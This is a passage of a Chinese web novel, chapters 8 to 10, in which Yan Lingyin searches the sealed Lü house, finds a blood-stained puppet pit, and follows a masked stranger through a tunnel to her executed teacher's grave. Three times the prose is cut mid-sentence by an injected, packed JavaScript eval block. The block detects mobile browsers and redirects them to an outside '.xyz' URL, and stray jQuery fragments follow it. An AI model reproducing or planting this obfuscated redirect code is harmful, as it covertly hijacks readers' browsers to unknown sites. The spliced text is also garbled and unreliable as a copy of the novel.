而且,那些背负中也有她的一份,她不能再给他留下憾恨和负累了。因而当他方才用那样复杂的、既急切又忧心的目光看过来时,她朝他微扬了嘴角,又做了个手势。 食指在耳边轻刮一下,随后让手掌落到胸前,像十足自信的小孩那样拍两下胸脯。 这是在东云台时他们彼此都再熟悉不过的暗号,意思是没问题,交给我罢。 因为顽皮惹杜慎生了气时,或是偶尔和其他学生闹了矛盾,一时调解不开时,她总喜欢做这个手势,让江渊然不要插手,看她表现就好。东云台中千余日,她每每说到做到,从未食言过。 今日亦是如此。只是不知他要如何处理那边的事,也不知下一回再见他,要到什么时候了。 “姑娘?”魏收的声音从巷外传来,带了点紧张,“我方才见那位大人走了,姑娘可还好?” “无事。”她遥遥应了一句,“此处无人,你随我来。” 一道暗色的影子在巷口闪了一下,下一秒,魏收已站到了她的身前。 “马拴在了后街的茶楼外面。”他低声道,“姑娘莫忘了时辰,得在闭宫门前赶回去。” 晏泠音抬头望了望天色,喃喃道:“那至多也只有……三个时辰了。” 8. 吕家 吕家就在巷道尽头。两扇木门已相当老旧,黑油铁环也被磨得发了亮。门上贴了大理寺的封条,素白的纸,墨色淋漓的字,看着很有些肃杀的味道。 晏泠音在门前顿了一下。 魏收不解其意,低声问:“姑娘?” 她后退了一步,再次仔仔细细地打量起那两扇门:“封条被揭过。” 吕绍下狱后,江渊然曾来吕家查看过两回,之后便给它便落了封。寻常百姓是无权揭官府封条的,而其他官员若要进吕家,也得先通报江渊然,不可无故擅闯。 但现在这封条却贴得有点松垮,细看便会发现,上面还有几条不甚平整的细褶,那是重复涂胶才会留下的。 魏收也凑过来,盯着封条看了好一阵:“若真的如姑娘所说,是否曾有旁人来过这里?” 他紧皱着眉:“姑娘的安危要紧,这宅子看着就阴森,门前又这般怪异,要不今日先回去,日后再……” 嗤啦一声,晏泠音已抬手揭下了封条。背面的胶糊已经干透,隐隐透出花椒辛辣的气味。京中用花椒制胶糊的作坊不少,但晏泠音记得,这种制法最初是杜慎所创。 一念及此,她没有将封条扔掉,而是顺手叠起收入了袖中:“不必担心。既然有人来过,说明宅中或许真的有什么。我既来了,总要确认一番才能安心。” 魏收的眉仍然皱着:“话虽如此,姑娘进去还是太过冒险,让小人先……” 这句话还未说完,他便感到脑后有凉意嗖然。一惊之下,魏收瞬间抽出了束在腰间的匕首,一面回身格挡一面高声道:“姑娘小心!” 那人原先埋伏在何处,又是怎么悄无声息来到他身后的,他竟全无所知。魏收只觉惊出了一身冷汗,这一下回挡使出了全力。铿的一声兵器相接,他被震得后退一步,立刻又迎了上去,刷刷几招缠得极紧。 蒙面男子似是没想到一个农夫会有如此武艺,一时忙乱,生生被逼退了几步才站定。他将长剑横到胸前,眯了眼看向魏收身后之人,眸中闪过一丝不易察觉的困惑。 随后他忽然回剑入鞘,足尖轻点,往前极快地一掠。那种步法实在奇特,魏收只觉身周无数人影晃动,劲风扑面,本能地抬手拆解,却扑了个空。 “姑娘!” 男子那一招只是虚招,一触即收,足下不停,转眼便绕到了晏泠音身前。魏收扑上去救主时,男子却又已退了开去,往左手边纵身一跃。那数丈高的石墙于他竟如平地般,几步便被他攀至墙顶,而他身形微动,眼看就要消失在石墙的另一侧。 “追。” 一直没有做声的晏泠音倏地开口。魏收愕然:“事态不明,总要先送姑娘回去……” “我的玉佩。” 她说得简短,魏收却明白了。晏泠音原本悬了一块青玉的腰间,此刻已空空如也。 魏收一咬牙:“姑娘先回车上,小人去去就来。”他知道那是晏泠音片刻不离身的东西,不敢再耽搁,运足气劲飞身上了石墙,几个起落间便没了踪影。 四周恢复了沉寂。晏泠音这才回过头,再次望向吕家的大门。那人的剑术虽然不俗,但她信得过魏收。唯一令人捉摸不透的是他的步法,实在太过奇诡,一时竟看不出师承路数。若他真存了心要跑,魏收未必能“去去就来”。 倒像是有意想把他们引开一般。 她没有依言回车上,只原地站了一会儿,随后抬手,吱呀一声推开了吕家的门。 * 这不是一座很大的宅子。 晏泠音踏进去时,扑面而来的是夏日草木葱茏的气味。 小小的一方庭院种满了花草。阴凉,潮湿,却又有些寂无人知的喧嚷和热闹。她的母妃曾经也爱种这些东西,寝殿一年四季皆有花香缭绕。因而她走进来时竟有一瞬恍神,好像回到了过去的怡和殿。 之所以说是过去,因为现在的怡和殿已经同宫内大多数殿宇一样,没了生机,只剩下死气沉沉的冰冷砖瓦。 门后的石阶上有斑驳血迹,已经干涸了,微微发黑,应当是那日殷若瑾昏倒时留下的。晏泠音踩着石阶走得很慢,与此同时,不知是不是受此处阴寒之气影响,她隐隐觉得胸前憋闷,呼吸也有些滞涩起来。 巫蛊之术是讲求地利的,适合的施术环境能更好地发挥其效用。巧的是,吕家这个院子虽小,却几乎就像是为施术而生的。 晏泠音绕过几丛带刺的矮花,走到了院中最大的一株槐树下。京中不少官员爱在家宅外种槐树,讨个升官发财的吉利彩头,但这株槐树高近三丈,树干也相当粗壮,显然已有了年岁,不可能是吕绍回京后栽下的。 换言之,在吕绍搬进这处宅院前,它便已长在院中了。而江渊然和她说过,那只偶人就是埋在槐树之下。 “泠儿记着,那些上了年纪的术师,都爱把偶人埋在有树的地方。” “为何?” “因为啊……”女子的声音染了含糊的笑意,“毕竟是自己的孩子,怎么舍得随随便便就给它选了长眠之地。树下好啊,春华秋实,夏风冬雪,一年四季都能看见,睡在那里,心里也会觉得和乐安宁吧。” 大梁禁巫禁蛊,人人闻而色变,视之为洪水猛兽。可曾有一个人那样温柔地把偶人唤作“孩子”。她同晏泠音说过,最初的最初,偶人并非只为害人而生。它们能取人性命,亦能护人平安。只是后来心术不正的术师越来越多,才让制偶用偶变成了邪术,招致世代封禁。 但小小一只偶人何来善恶,哪怕被旁人强加了是非黑白,其本心仍是干净的,它们对天地灵气最为敏感,因而于栖迟时,长愿与落花相伴。 此时并非槐树的花期,但晏泠音能想象出这株巨木开花时的盛景,青叶白花相映,满院皆是清雅微苦的槐香。碎花一嘟噜一嘟噜地缀在叶间,叶愈青,花愈洁,这般干净的颜色,仿似那年东云台边流水潺湲,青衣学子挟着书卷步履匆匆,往来奔忙。她又想到了吕绍那句否认,或许是出于术师的直觉,她总觉得当初埋下偶人之人并未存全然的邪心。若真要对方不得其死,这方庭院里有更多阴气深重之地,每一处都比槐树下更适合圈养咒怨。但那人却没有选。 要么是他不通偶术,要么是他从一开始就没想过害人。 院中各处都有被挖开的痕迹,大多又被填上了,只在槐树根处留了个浅坑。晏泠音拂了衣袖,蹲下身去细细打量它。就在那一刻,她忽然觉得有一道目光落在了她的背上,她僵了一瞬,随即猛地回过头去。 满院空寂,只有花叶在风中轻颤着,并没有旁人的身影。 难道是……错觉? 晏泠音定了定神,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431890|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头看向了土坑。它被翻得有些凌乱,杂着几块碎石,但颜色却比旁边的土石都要深些。她伸手捻了一把,发现那触感并不寻常。 是血。 她没来得及告诉江渊然,伤害偶人固然是施术的方法之一,但它能达到的效果有限,也不是效力最强大的。 更有效的方式,是以血代墨,在偶人身周写下内心最深切的渴求。这种祝福或是怨咒能持续极久,直到偶人被破坏,或是术师本人身死才会彻底消失。 当年她曾追问过一句:“既然偶人也能护人,为何泠儿从未听说过这样的故事呢?” 女子语声依旧温和,却带了一点淡淡的嘲讽:“因为偶术相当耗人心力,需要术师投入持久又强烈的感情。而在这世上,恨意总是最难以磨灭的。” 她抬手拢了下鬓发,宽大的袖摆随着她的动作滑落,露出了手腕处一道浅浅的疤:“日后泠儿如果碰到沾了血的偶人,一定要立刻避开。若非恨极,亦或痴妄太深,术师是不会轻易制作血偶的。那已非偶术的正道,真正算是入了邪门。” “泠儿……莫要忘了。” 晏泠音怔然许久。结块的土从她的指间滑落,风过时,扬起一阵潮湿的腥气。她对吕绍印象不深,只依稀记得他不爱说话,性子很闷,但为人谦恭,无论对谁都慢声细语,脸上挂着温和的笑。少年脾性总是好玩,连她和江渊然也时不时躲去后院,翻些不关圣贤之道的闲书,可吕绍从没躲过懒。他来得早,退得迟,对待课业极其认真,间或有人笑他是书呆子,他竟也认真解释,说自己门第不高,家境清贫,能来到此处听老师讲学是莫大福气,要好好珍惜。 这样一个人,是从哪里学到了如此血腥的邪术?若是没有想过害人,他的真实目的又是什么? 她再次仔细打量那只沾血的坑。被挖开之后,原先的模样已被破坏殆尽,她很难看出吕绍究竟写下了什么。晏泠音暂且移开目光,扫了眼旁边的泥地,星星点点的灰白忽然跃入眼帘。 这是,烧尽的纸灰? 她伸手捻了一些。它们太轻太散,还未被捻起便复又飘落。既有丧事,烧纸钱并不罕异,但她记得院中就摆着用来烧纸的铜盆,里面厚厚一层余灰仍在,尚未来得及倾倒。 难道是烧过两回? 她又看向那些细碎的灰白色,它们掩在花叶泥块之间,算不上惹眼。她之所以能注意到,是出于术师对这种东西本能的敏感。 偶术忌纸灰。这是每个术师都明白的道理,却无人能说清为何。晏泠音心中模模糊糊地有一道猜测,尽管也只是猜测而已。 若真如先前教她的那人所说,偶人是有生命的,那自然便会畏惧和死相关的事物,纸灰便是如此。血偶比寻常偶人更碰不得纸灰,隐在血中的灵气和生气,会被纸灰中的死气尽数掩过,以至失却效力。 这是吕绍撒的,还是旁人撒的?撒在何时?是有意还是无意? 晏泠音慢慢站起了身。她蹲得太久,周围的腥气又太让人作呕,忽觉一阵眩晕,一时竟站立不住,伸手撑上了槐树的树干。天旋地转间,她的眼前一片模糊,耳力却忽然变得极灵,满院风吹叶动的簌簌里,似乎混杂了一道陌生的声息。 不是错觉。就在刚刚,在这方宅院里,有另一个人轻咳了一声。 就在她身后。 9. 地道 晏泠音定了定神,慢慢转过头时,恰有一道光亮刺破重重槐叶,直贯而下,落上了她的眼睫。她眯了眼,朝声音的来处看去。 方才还空无一物的石阶前,不知何时已站了个人。 满院枝叶相映,浓绿翻卷。他披着玄色的罩衫,身量很高,眸光却有些恹恹。艳色的红从罩衫下漫了出来,缀在他的领口、袖摆和足尖。 这样热的天气,晏泠音只在抹胸外搭了最轻薄的绉纱褙子,可那人却严严实实地穿了两件。银白面具掩住了他的上半张脸,只露出轮廓分明的下颌和淡得近无血色的唇。 他的唇动了一下,声音低低的,和着院中的凉风一起送向了晏泠音。 “姑娘是何人?为什么会来这里?” 隔着半只面具,他的目光沉沉落到她的身上。晏泠音的心口莫名一紧。她在那一刻感受到一种极其强烈的情绪,混杂着难以言说的哀乐悲喜,却又在瞬息间尽数归于沉寂。 他阖了下眼,那些暗中汹涌的东西便都被压下。再望向她时,眸中又浮起了一层恹色。 这个人……她是不是曾经见过? 晏泠音压下这个怪异的念头,应道:“我隶于大理寺右司,奉命在此处查案。”顿了顿,她再度开口,“阁下又是何人,为什么会在这里?” 她进来后还未及关上院门,许是他脚步太轻,以致她未曾留意到他进来的动静。但吕家早空了数日,他又不像是走错了门户,不知因何到此。 “我来……” 他的嗓音极柔,又带了点病中的哑,如林叶间的簌簌低语,又如清流过石,浅浅环抱一下便荡漾开去。说话时,他一直望着她的眼睛,未曾移开。 “……见一见故人。” 晏泠音怔然。少顷,她转过头去,环视着这方庭院:“阁下或许还不知道,吕母已殁,吕家夫妇皆不在此地,今日怕是要跑空一趟了。” 他的眸中闪过一丝错愕。一阵凉风入院,将他的罩衫吹得飘动起来,底下那抹艳红又露出不少。他的肤色太过苍白,衬了那血一样的颜色,凄然如罂粟绽开。 “不在此地?这个日子……不应当啊。” 他转开眼,望向院中未收的白色丧幡,喃喃道:“大娘竟已走了,二郎不知要如何心伤……” 晏泠音的眸光微闪:“阁下认识这家人?” “自然,”他收回目光时还有些恍然,面上悲色未褪,“我与二郎素来交好。” “二郎?”晏泠音有些不解,重复了一遍,“吕主簿似乎并无兄弟。” “唔……”他打量了晏泠音一阵,微微皱起了眉,像是在判断她是否值得相信,“姑娘方才说,是来查案的?” 那种故友间本能的、排外的回护,晏泠音并不陌生。她原先的不安被冲淡了些许,顺势应道:“正是。吕主簿被指认谋害妻子,如今被系于狱中。” “怎么会?”那人的眉头皱得更紧了,下意识道,“他们夫妻情意深笃,二郎也不是那样的人。” 晏泠音心中一动。 “若他真的无罪,大理寺不会冤判。”她轻声道,“但我所知太少,这桩案子里还有诸多扑朔难明的地方,阁下似乎对吕主簿十分熟悉,不知可愿移步同我一叙?”想了想,她又补充了一句,“说不定能帮到主簿。” 不知是不是她看错了,总觉得有一抹笑意在他眼中一掠而过。 那是道一闪而逝的明亮光影,就好像,被日光短暂照拂了一瞬。 “若真的有帮助,我定知无不言。”他温声道,“但今日尚有事在身,或许要同姑娘另约时日了。” 先前那种无端的不安慢慢又涌了上来。她看着那人半隐在面具后的眼,问道:“阁下似乎说过,今日是特意来找吕主簿的?” 他微微颔首:“二郎确与我有约。”他说完才反应过来她的用意,口气中带上了些许无奈,“姑娘是在疑我说谎?我并无此意。今日是二郎先师的忌日,他对师长极其敬重,现下他既不便亲去拜祭,我更要替他走一趟,免他遗恨挂心。” 他说着竟直接向吕家厅堂走去,边走边道:“姑娘若是不信,可以随我来。” 那人走路的姿态端直,背影高而瘦,束发的玉冠莹莹闪着润泽的光。若撇开他那只面具和多少有点怪异的装束,看着就像个寻常的文弱书生。 可晏泠音仍然迟疑了一瞬。 她的手搭上了腰侧。出门在外,她总会带上联络用的烟筒以免不测。若她愿意,现在就可以把魏收召来。 但她的手最终还是垂了下去。又过片刻,她抬步跟上了那人。 或许是因为他真诚的口吻不似作伪,又或许是因为那句先师。 这是她遇到的第一个,除了她自己和江渊然之外,还在称呼杜慎老师的人。 毕竟在名义上,在世人眼中,杜慎还是个不折不扣的罪臣。 屋内很黑。院中有槐荫遮蔽,本就不大亮堂,走进来后更觉阴郁。她借了门边照进来的微光去找那人,却听咔嚓一声,有人擦亮了火折。 “这里。” 幽暗的烛光在银白面具上跃动,将他脸部的轮廓也衬得柔和了不少。他站在一张挂画旁,朝晏泠音举了举手上的蜡烛,邀她近前去。 晏泠音扫了眼屋内的陈设,不过是些落了灰的桌椅,没什么特别。她的目光跟着落在了挂画上。画上的女子极美,一双弯弯的笑眼像是会说话一般,眼底一颗小痣也格外灵动。 那应当就是殷若瑾了。晏泠音又瞥见画幅右下角有一列小字,写着“白首同归”。但不论是画上的美人,还是那秀挺的四个字,都因时间剥蚀而淡褪了原本的色泽,像是蒙了一层怎么也拂不去的尘灰。 四个字旁边隐然还有几个更小的字,墨色要新一些,但因为当初写成时落笔太轻,过了这几年,已是几不可见。晏泠音眯起眼辨认了一阵,才意识到它写的究竟是什么。 分明是同一种字迹,执笔者也当是同一个人,但不同于先前的铁画银钩,这几个字像是醉后所书,笔力软倒,一派潦倒颓丧之气。 “长与君绝。” 它们就叠在“白首同归”的字影里,藏得极好,粗看之下只当是运笔时不小心扫出的一点墨渍,但就是这一扫,已经从相知相许,走到了生死诀别。 “姑娘往后让些。” 她正出神,闻言下意识往后避了半步:“怎么?” 一只手从旁边伸过来,隔了袖摆轻轻攥住了她的手,牵着她又退了半步:“还得再让些。” 晏泠音还未回神,便听到轰隆一声,不知那人触到了什么开关,她原先所站的地方骤然下陷,塌出了一块黑影。她怔了一下,忽然意识到她的手还被人牵着,手指一蜷便要往回缩。 而那人似乎察觉到了她的不适,也在同时松开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431891|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她的手,低低的声音就响在她耳边:“冒犯了。” 晏泠音下意识捻了下手指,将手收回身侧。 “这是什么?” “吕家这处宅子是前朝某位大人所筑,暗藏机巧。其下有一条地道,通往宛京城外。” 她几乎是立刻明白过来,心脏忽然便跳得极快,顿了片刻才问:“城外何地?” 那人也默了一瞬,不知是不是有些忌讳那个地名:“北郊菩提园。” 北郊菩提园。 晏泠音的眼睫轻阖了一下。那是一处废园,原先种满了南疆运来的菩提树,但许是适应不了此地的风水,不到一年便尽数枯死。传说菩提树能引人往生,能庇护死者尸骨长宁,因而其园虽已荒废,但陆陆续续地,便有无钱亦无地的百姓将故去的家人葬在园中,而菩提园也逐渐成了荒冢累累的墓园。 她知道那里,因为杜慎就葬在那里。只有一处不起眼的低矮坟包,在野草间竖了块无字的墓石。无人为他题碑,因为怕被发现后,连这处葬地也保不下。 他是罪臣,不该有人殓其尸骨,年年祭拜。 “去年这个日子,”那人的声音又响了起来,轻得像叹息,“二郎开了这条地道,邀我同去菩提园。当时他便说,日后岁岁年年,每一年的今日,他都要去到那里。我便记下了。” “若是寻常出城去,来回少说也要近两个时辰,这条是近路。” 晏泠音的眼睛忽然便有些发烫。她在黑暗中别过脸去,不想被人看到她的样子。 她心中翻涌着难言的滋味,为那个谋害妻子的丈夫,也为这个不忘恩师的学生。 “姑娘怕黑吗?” 他问得突兀,以至于晏泠音都愣了一下,本能地开口否认道:“不怕。” “那便好。”他点了点头,转身时宽大的袍袖轻拂过她的手背,带来些微的痒,“下面会有些暗。” 地道狭长而空寂,每一步都能踏出隐隐回声。他走在前面,举着燃着的烛蜡,晕开一小团暖色的光,时不时回头看她一眼。为了看清脚下,晏泠音和他靠得很近,近到能闻见他身上清苦的药香。 “如果确实有些不舒服,姑娘可以拉着我。” 只走了一小段,晏泠音的额上已覆了层冷汗。她深吸了口气,克制着微乱的气息平静道:“无事。” 还是太软弱了,她自嘲地想。原本以为过了这么久,她早已习惯黑暗和空寂了。 她其实不常去想,确切地说,是在刻意遗忘,遗忘一些不愿记起的回忆。 但或许是因为今时今日的这条地道,和过去的某个场景太像了。又或许是这个日子太过特殊,让她的情绪也有了罕见的失控。以至于有那么一瞬,她几乎产生了某种错觉,好像她一直没能从那间无声无光的小屋内逃出来,而是永久地被困在了那里。 地道中回荡着空洞的脚步声响,仿佛便是她曾经叩击板壁时生出的绝望回音。除了她自己以外,不会有任何人听见。 她也早已习惯不去呼救了。 晏泠音背过手贴上额头,无声地擦去了渗出的汗。可当她垂下袖摆时,那只手却突然被人牵住了。 那人没有回头,只是斜伸了手拉住她,力道很轻。隔着薄薄一层衣料,他屈起的指骨贴上了她的手背,轻抚了一下,又将整只手松松地包裹住。 “路太陡了,这样会好走一点。” 10. 刻石 晏泠音有一瞬发怔。 她下意识便要抽回手,就像入地道前那次一样,可那人虽然握得很松,却恰好卡住了她的手腕,她一缩之下,反而撞进了他的手心里,触到一片微凉的柔软。 在黑暗中,肢体的触碰本就比一切都更能给人以安全感。她怦怦直跳的心竟有一霎安定,呼吸也不再那么困难了。等到走完了向上的陡坡,她再次尝试将手抽回,那人也适时松开了手。 “阁下方才说,吕家有两个儿子?” 她定了定神,主动挑开了话题。地道空寂狭长,和人说话多少能帮她平复一些。 “是。”他温声应着,走得很稳,手持的烛光未有一丝摇晃,“我不是梁国人,不知姑娘是否听过梁国民间的传闻,认为双生子是不祥之兆。” 他不是梁国人?晏泠音的思绪被这句话带偏了一瞬,顿了顿才应道:“略有耳闻。” 相比于民间,宫中其实会更在意这样的谶言。她先是随杜慎读书,后又掌秘书阁三年,历朝历代的史册多已阅尽,却几乎没有读到过有关双生子的记录。这对于横跨千年的浩浩书卷来说,并不算寻常。 她不愿细想,那些可能出现过的双生子都去了何处。 “难道……”她忽然意识到什么,抬头望向前面那人,“吕家兄弟是双生?” 是了,这样就能解释为何从没有人提起过吕家的大郎,按理说,即便已经夭折,他依然该占着长子的位份。但如果他会让家族背上不祥的恶名,那就应当被彻底抹杀,不留一丝痕迹。 可她仍然不解。她一向以为皇室寡情,却不信寻常百姓家也会如此狠心。 男子分明没有转身,却像是感觉到了她的视线,轻轻点了点头。 “那位大郎现在何处?” “死了。”他轻声道,“出生时,他的身子骨就要比弟弟弱些,呼吸断续,哭声也极轻,吕家夫妻便做出了决定,要把这个孩子送人。他不姓吕,最好终身都不要回到宛京。半年后传来了消息,说那孩子死在了北方一个山村里。” 晏泠音垂了眸,下意识道:“抱歉。” “姑娘,”他有些讶异,回头看了她一眼,“为何要道歉?” 这种话…… 她又要如何答他? 晏泠音自问不是个爱说话的人,对亲近之人尚且如此,何况对方还是个素昧相识的陌生人。但不知是不是因为他的目光太过柔和,在这昏昧的地道里,居然让她产生了些许倾诉的欲望。 在她反应过来之前,那句话已经脱口而出。 “没有哪个孩子是主动要求来这世上的。我只是……有些替他不平。” 灯烛的光颤了一下,那人有一阵子不曾说话,地道中回荡的,只有鞋底磨着砂石的轻响。 “无事,我只是随口感慨,公子不必放在心上。” 她说完这句,又有意转开了话题:“我还不知公子的名姓,着实失礼。我姓闻,声闻于野之闻,名暄,暄风暖日之暄。” 她等着那人回应,却迟迟未听见他的声音,忍不住轻唤一声:“公子?” 他脚下一顿,似是刚回过神,自己先笑了一声:“让姑娘见笑了。我姓苏,单名一个觅字,寻觅之觅。” 他的声音明明相当好听,说话时又染了笑意,本该让人如沐春风。可是晏泠音听着,却平白觉出一丝落寞,就好像伸了手去接一瓣落花,它却打着旋儿从掌中飞走了一样。 那种空落落的感觉她亦曾经历过,在她遥遥望着江渊然背身而去之时。 “苏公子,”她忍不住开口,“我们是不是曾经见过?” 他们已将至出口,头顶不远处透出了光亮,能看清下方几级高低不平的石阶。他回过身望向晏泠音,斜射进来的日光罩住了他的半张脸,另外半张却仍隐在阴影里,整个人被切成了明暗相隔的两半。 “没有。” 他的声音很轻。 “我同姑娘,此前从未见过。” * 即便是在草木蓊郁的初夏,菩提园仍是一片荒凉败落。四处耸立着的,是高大却毫无生机的菩提巨树,有几株似是遭了雷击,树干已成了枯焦的深黑色。无名的坟冢遍地皆是,大多爬满了野草,偶有几个被草草清理过,坟前放了些吃食或是花束。 晏泠音跟着苏觅往前走时,才后知后觉地意识到,她还未来得及给杜慎带花。 园中风凉,苏觅掩袖咳了两声,又紧了紧身上的罩衫,这才偏头对晏泠音道:“就在前面不远了。” 自入了菩提园后,她的情绪倏然沉了下去,连话也懒得说。此时听到这句带了些安抚的话,她也只是点点头,抿着唇没有吭声。 “二郎去年也曾带了新鲜花枝来,今日我走得急,临到出门才想起,着了人去折花。想来他也快到了,劳烦姑娘稍待。” 他的声音像雾气般浮在晏泠音耳边:“姑娘可知这坟中葬的是谁?” 他们立定在一处土丘之前。苏觅垂了眼去看她。晏泠音的手在抖。 “愿闻其详。” 这四个字几乎耗尽了她残存的气力。整个菩提园开始在她的面前摇晃起来,晏泠音攥紧了手,让指甲深深嵌入掌心,迫自己清醒一些。 苏觅的目光在她攥成拳的手上一掠而过。 “前吏部尚书杜慎,姑娘可曾听闻?” 他俯下身,伸手拂去那方矮碑上的积灰,一字一句说得很慢:“二郎和我说,他的师长蒙冤而死,连这处坟墓也是他的另一位学生私下所筑,更不敢为其刻石铭志。但几日前他忽然给我去信,信中写了些不祥之语,说自知年寿难永,不想留下憾恨,走前总要为恩师做些什么,方能瞑目。他嘱我读后便将信烧毁,见面再详谈。” 苏觅收了手,看向被染灰的指尖,轻声道:“原来,二郎说的是这个。” 那方本无一字的碑上,多了几行铭文。它被刻在碑阳的左侧,右侧尚有不少空白,似是要留给什么人来填。 晏泠音一眼就能认出,那是半篇无序的墓志。 人事若浮,时运难游,遽辞万事,终归一丘…… 她几乎能看到吕绍跪在墓前,一刀一刀刻下这些字的场景。她也不需问这篇墓志为何无序,又为何没有写全。 因为他们都是一样的,不敢道出墓主的名姓。且墓主身前事未得澄清,真要述其生平,也不知从何说起。 晏泠音一时痛得难以呼吸。掌心已被指甲刺出了血迹,她也没有发觉。她只是勉强站立着,看着身边的苏觅作揖、下跪,又拜伏于地。 他口中轻声说了句什么,她听不分明。 “我……”她刚说了一个字,便发现声音已哑得像得了风寒,不得不偏过头去咳了两声,“我确曾听过杜尚书的名字,他是……是个好人。” 双腿沉重得像灌了铅,连日的噩梦如走马灯般在眼前闪过,最后定格成杜慎死前血肉模糊的脸。晏泠音压下喉间泛上来的腥甜,木然地动了动唇。 又是一年花开日。 学生……问先生安。 * 魏收快要疯了。 他不是争名好胜之人,否则也不会甘心隐于草野十数年。但他对自己的功夫还是有几分自信的,即便在跟着师父学武,日日同师兄弟们切磋武艺之时,他也极少落于下风。 可今日那个蒙面的黑衣小子,明明打不过他,却仗着步法奇特,引着他几乎绕了大半个京城。似乎光这样还不够羞辱他似的,行至城南几株栀子树下时,那小子还停了步,当着魏收的面跃身上树,动作轻浮地折了两枝开得正好的花。 简直是奇耻大辱。 他一面咬牙狠追,一面又不得不分心去想晏泠音的事。今日她无论如何都是要出城的,他必须赶在闭门前送她回去。若是再过半刻还追不上这小子,他只能先打道回府,日后再慢慢查探。 魏收足下发力,一连翻过三道屋梁,终于将两人的距离又拉近一丈。他心中一喜,伸手想去捉那人摆动的臂膀,却被他从不可思议的角度给避开了。 怎么可能? 魏收瞳孔急剧放大,眼睁睁看着那人轻巧地转了个身,足尖一连点了数下。他分明身在空中无可借力,却层层上跃,仿佛踩着风踏着云,被看不见之力托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431892|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举而上,身形一闪便退去了数丈之外。 那是他从未见过的步法。可就在那一刻,师父的话骤然在心头响起。 “为师一生走遍中原大地,诸家武艺虽不敢夸全,但十之八九都亲眼见过,亦有半数亲自交过手。只可惜有一门轻功只传于北地武林,虽然妙绝天下,却唯有幽人能见能习,实在是为师心中之憾。将来若有机缘,你们要替为师去幽国看看,那轻功究竟是何种模样,是否真的如传闻中所说……” 飒杳如流风回雪,轻盈似飞鸟行云。 那种步法,名唤归云。 魏收一时愣在了原地。 他是幽国人?此去幽国有千里之遥,路途极险,他又为什么会来梁国京城? 回过神来时,他倏然暴起,再度朝那个行将远去的背影追去。 他追得急,兼之心思不宁,等到跟着那人跃出一片高墙后,才意识到他们已经出了宛京城。此处已相当荒僻,几乎见不到京郊的行人。可魏收的眉头却慢慢皱了起来。这是他熟悉的地方。 他们到了菩提园外。 黑衣男子就像没看见正门一样,从南侧的围墙翻了进去。魏收一咬牙跟上了他,还未落地,就看到了让他目瞪口呆的一幕。 晏泠音正站在一株枯死的菩提树下,微仰了脸,和一个陌生的男子说话。 可在他离开时,她还站在宛京城北的吕家门外呢。从那里赶到此处,少说也要一个时辰。 她旁边那人又是谁? 魏收的思绪难得地有些混乱。而下一秒,他便看见那蒙面人直奔两人而去,把花枝递给了高个的男子。 魏收:? 再下一秒,他看见男子俯身同晏泠音说了句什么,跟着又把花递给了晏泠音。 脸上还挂着堪称温柔的笑。 魏收:??? 他一时分不清自己是不是在做梦,亦或是刚刚跑得太急出现了幻觉。但“幻觉”中的晏泠音却如有所感地抬了头,朝他的方向举了举手。 那是她要他近前的手势,别的可以假,这却是实实在在的晏泠音。 魏收过去时还有点魂不守舍。他看看那黑衣人,又看看旁边那披了罩衫的男子,暗道有其主必有其仆,一个围面巾一个戴面具,都不敢以真面目示人,也不知是做过亏心事怕人认出,还是确实丑得厉害。 晏泠音出声唤他:“魏大哥。” 他立刻应道:“在。” “你的匕首借我一用。” 魏收的脑中又空白了一瞬:“什……”但身体的本能快过思绪,待到反应过来时,他已拔出匕首,双手捧到了晏泠音身前。 “多谢。” 那个女子拂了把衣袖,在一方矮碑后蹲下了身。她用握了花枝的手扶着矮碑,腾出另一只手来,用匕首划上了碑面。 这柄匕首是师父传给他的,材质罕异,削铁如泥。晏泠音力气使得不大,但也足够在粗糙的石面上留下浅浅刻痕。魏收微眯了眼朝碑上看去,发现她刻的是一个“闻”字。 在闻字前面,隐约还有一个“吕”字。 她刻了许久,每一笔都极其端正,像在交一份临字的课业。刻完后她并未立即起身,而是又对着那个字看了一会儿,甚至伸手摩挲了一下。 她递回匕首时,魏收边伸手去接,边不解道:“姑娘,这是?” 晏泠音垂了眼,捻了捻自己的指.尖,平静道:“偶遇先贤,聊表敬意罢了。” 他听得疑惑,正要出声再问,却见晏泠音已绕至石碑正面,将手中的花枝放到了坟前。直起身来时,那双一直明净如潭的眼,竟已微微泛红。 她理了衣衫,随即恭恭敬敬地屈膝下拜,拱手于地,行稽首之礼。她咬着唇,起身又拜时,魏收已不忍再看,别过了脸。 这一转眼,他却瞥见一旁那个高挑的男子正垂眸看着晏泠音。他的嘴角挂着一抹似有若无的笑,映着那张苍白到毫无血色的脸,显得极其怪异。 